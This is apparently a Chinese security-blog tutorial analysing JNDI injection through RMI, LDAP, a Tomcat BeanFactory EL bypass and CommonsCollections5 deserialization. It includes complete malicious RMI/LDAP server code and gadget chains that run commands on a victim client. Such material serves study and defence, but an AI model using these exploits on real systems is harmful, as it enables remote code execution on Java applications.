由浅继深的了解JNDI安全
JNDI
JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。
JNDI注入+rmi
JNDIClient
public class JNDIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
IRemoteObj o = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteOb");
System.out.println(o.sayHello("hello"));
}
}
JNDIServer
public class JNDIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
LocateRegistry.createRegistry(1099);
initialContext.rebind("rmi://localhost:1099/remoteOb",new RemoteObImpl());
}
}
跟进一下客户端lookup方法,跟进到RegistryContext类的lookup方法,从这里可以看出来,其实调用的还是RMI的东西。如果客户端的lookup参数可控,就可以让它访问我们恶意的链接了。
绑定引用对象
public class JNDIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("TestRef", "TestRef", "http://localhost:6666/");
initialContext.rebind("rmi://localhost:1099/remoteOb",reference);
}
}
看一下Reference类。工厂,第一个参数类型className,第二个工厂名factory,工厂的位置。
/**
* Constructs a new reference for an object with class name 'className',
* and the class name and location of the object's factory.
*
* @param className The non-null class name of the object to which
* this reference refers.
* @param factory The possibly null class name of the object's factory.
* @param factoryLocation
* The possibly null location from which to load
* the factory (e.g. URL)
* @see javax.naming.spi.ObjectFactory
* @see javax.naming.spi.NamingManager#getObjectInstance
*/
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
启一个JNDIServer,在testref.class文件所在的位置起一个http的web服务,将reference引用绑定在remoteOb上,然后在JNDIClient客户端访问,
public class JNDIServer {
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("TestRef", "TestRef", "http://localhost:6666/");
initialContext.rebind("rmi://localhost:1099/remoteOb",reference);
}
}
适用场景就是当我们能控制服务端lookup的参数时,就可以访问恶意的对象。
接下来具体分析流程。在客户端跟进lookup方法。其实就是一系列的调用,过程如下图。
这里获取到的对象是ReferenceWrapper_Stub,并不是服务端绑定的Reference,这是因为服务端调用了一个encodeObject方法将Reference类转成了ReferenceWrapper,所以客户端获取到之后要decode。
到这里的调用栈如下。
decode之后就拿到了原先的Reference,同时在这个方法中调用了NamingManager.getObjectInstance()方法,跟进
在319行调用了getObjectFactoryFromReference方法,从引用中获取对象工厂
这个方法中首先调用loadClass加载,调用AppClassLoader本机加载,此时是加载失败找不到的
接下来就是利用codebase查找,codebase就是上面提到Reference的factoryLocation,在调用loadClass加载
把codebase传入URLClassLoader,利用loadClass加载
这个里面就会对应初始化加载,对应URL下面的类。
找到之后newInstance实例化,执行完这一步就可以弹出计算器了。
在JDK 6u132, JDK 7u122, JDK 8u113中Java限制了通过RMI远程加载Reference工厂类,com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。
在RegistryContext类中的trustURLCodebase默认值是false,所以程序不会再向下执行。
JNDI注入+ldap
但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在修复RMI的时候并没有对LDAP进行修复,所以在JDK 11.0.1、8u191、7u201、6u211之前LDAP还是可以利用的。
使用JNDI工具启动一个LDAPF服务。
客户端调试跟踪分析流程
public static void main(String[] args) throws NamingException {
Object object=new InitialContext().lookup("ldap://127.0.0.1:1389/koh13g");
}
根据追踪lookup方法,最后走到PartialCompositeContext类的lookup方法,方法中又调用了p_lookup方法,这个方法中又要用了c_lookup方法。
c_lookup方法要用了decodeObject方法,走到这里就想到在rmi中也要用了这个方法,并看到传入的参数var4其实跟rmi也是一样的,codebase、类名、工厂等。
在decodeObject方法又分了几种情况,因为jndi支持序列化、引用的、远程对象的,通过获取到的属性来判断是属于那种方式。
因为此时为引用,所以会调用decodeReference方法,方法中把类名啥的都获取到。然后回到c_lookup方法。
c_lookup方法中又调用了DirectoryManager.getObjectInstance()方法,在rmi中是调用的NamingManager.getObjectInstance()方法,后续的流程在方法中又调用getObjectFactoryFromReference()方法,通过loadClass加载远程加载对象。调用AppClassLoader本机加载,此时是加载失败找不到的,接下来就是利用codebase查找,codebase就是上面提到Reference的factoryLocation,再利用loadClass加载等等。
因为RMI跟LDAP前半部分的调用流程并不一样,当RMI修改了流程中的decodeObject方法,并不会影响到LDAP流程中的decodeObject方法,在之后的版本Java也对LDAP Reference远程加载Factory类进行了限制,在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的值默认为false。
用8u333测试了一下,在VersionHelper12类的loadClass方法中有trustURLCodebase属性的判断,如下图所示。
JDK版本 > 8u191
通过加载本地类
从上面的RMI跟LDAP的过程中可以看到,都是利用远程加载并也已经修复了,但是不是也可以利用本地的类进行利用,对于本地的类也是有要求的,这个类必须是个工厂类,该工厂类型必须实现javax.naming.spi.ObjectFactory 接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对工厂类的实例对象进行了类型转换return (clas != null) ? (ObjectFactory) clas.newInstance() : null;;并且该工厂类至少存在一个 getObjectInstance() 方法,根据网上文章org.apache.naming.factory.BeanFactory是可利用的,并且该类存在于Tomcat依赖包中应用比较广泛。
Tomcat8
首先加载maven,如果com.springsource.org.apache.el包获取失败,可以下载对应jar包然后导入。
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
服务端示例代码如下
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
客户端示例代码如下
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://localhost:1097/Object");
}
效果图如下所示
调试跟踪分析流程
前面的流程跟RMI和LDAP是一样的,跟到RegistryContext.decodeObject()方法,工厂就是指定的org.apache.naming.factory.BeanFactory,
接下来的流程也一样,走到getObjectFactoryFromReference方法,接着就是loadClass本地加载对应的类,clas不是null,就说明本地加载到了,
最后在getObjectInstance方法中反射的调用invoke执行EL表达式,完成命令执行。
调用栈
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (org.example)
触发本地存在的Gadget
加入本地依赖中存在漏洞,可以尝试出发本地漏洞,这里存在CC依赖,CommonsCollections5来尝试
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class JNDIServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://x.x.x.x/#aaa"};
int port = 6666;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData",CommonsCollections5());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
}
客户端尝试触发,效果如下图
调试跟踪分析流程
前面流程跟LDAP流程相同,还是会走到Obj类中的decodeObject方法,JAVA_ATTRIBUTES字段有"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation",JAVA_ATTRIBUTES[1]就是javaSerializedData,在起服务端的时候配置了这个字段,不为空就进入到deserializeObject方法中
deserializeObject方法中对var20进行反序列化,var20就是服务端在其中时给javaSerializedData的赋值,就是恶意的序列化数据。
调用栈如下
deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (org.example)
其实还有一处反序列化的点,在com/sun/jndi/ldap/Obj.java#decodeReference中,这个方法中也调用了上面例子中反序列化时经过的方法deserializeObject,如果程序能走到这里,也就意味着也可以进行反序列化操作。
首先要看一下怎样才能进入decodeReference方法中,在上面例子中讲到通过Obj类中的decodeObject方法在启动时给JAVA_ATTRIBUTES的javaSerializedData赋值进入了deserializeObject方法,但是在decodeObject方法中也调用了decodeReference方法,如果要进入要在启动时给JAVA_ATTRIBUTES的objectClass赋值。
在反序列化利用时调用的参数时JAVA_ATTRIBUTES的javaReferenceAddress,所以要把恶意代码赋值给这个参数,但这个参数在赋值时有如下要求:
- 第一个字符为分隔符
- 第一个分隔符与第二个分隔符之间,表示Reference的position,为int类型
- 第二个分隔符与第三个分隔符之间,表示type,类型
- 第三个分隔符是双分隔符的形式,则进入反序列化的操作
- 序列化数据用base64编码
javaClassName这个参数不能去掉,因为在调用decodeObject方法时对JAVA_ATTRIBUTES的javaClassName进行了判断,只有不为空时才能进入decodeObject方法
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
启动的服务端参考如下:
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.BASE64Encoder;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class JNDIServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://x.x.x.x/#aaa"};
int port = 6666;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CommonsCollections5()));
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
}
客户端尝试触发,效果如下图
调用栈如下
deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeReference:478, Obj (com.sun.jndi.ldap)
decodeObject:251, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (org.example)
参考链接
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://xz.aliyun.com/t/8214#toc-3
https://www.bilibili.com/video/BV1P54y1Z7Lf/
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若本站内容侵犯了原著者的合法权益,可联系本站删除。